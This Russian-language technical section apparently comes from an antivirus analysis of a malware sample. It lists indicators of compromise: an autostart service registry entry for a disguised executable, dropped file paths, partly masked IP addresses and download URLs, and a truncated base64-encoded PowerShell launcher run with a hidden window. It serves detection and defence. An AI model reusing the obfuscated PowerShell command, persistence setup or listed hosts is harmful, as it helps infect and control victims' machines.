Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dx11_42] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx11_42] 'ImagePath' = '"%WINDIR%\SysWOW64\PortableDeviceStatus\d3dx11_42.exe"'
- 'd3dx11_42' "%WINDIR%\SysWOW64\PortableDeviceStatus\d3dx11_42.exe"
- 'd3dx11_42' %WINDIR%\SysWOW64\PortableDeviceStatus\d3dx11_42.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1A...
- %HOMEPATH%\wc5suwd\ijzerld\f1rxg4v7.exe
- %WINDIR%\syswow64\portabledevicestatus\d3dx11_42.exe
- %HOMEPATH%\wc5suwd\ijzerld\f1rxg4v7.exe в %WINDIR%\syswow64\portabledevicestatus\d3dx11_42.exe
- '91.##5.94.200':80
- '51.##.124.206':80
- http://zp####hopping.com/wp-content/plugins/8ek/
- http://51.##.124.206/LDCWloi1fXkE7/cajPPiDBjCk/
- DNS ASK zp####hopping.com
- '%HOMEPATH%\wc5suwd\ijzerld\f1rxg4v7.exe'
- '%WINDIR%\syswow64\portabledevicestatus\d3dx11_42.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1A...' (со скрытым окном)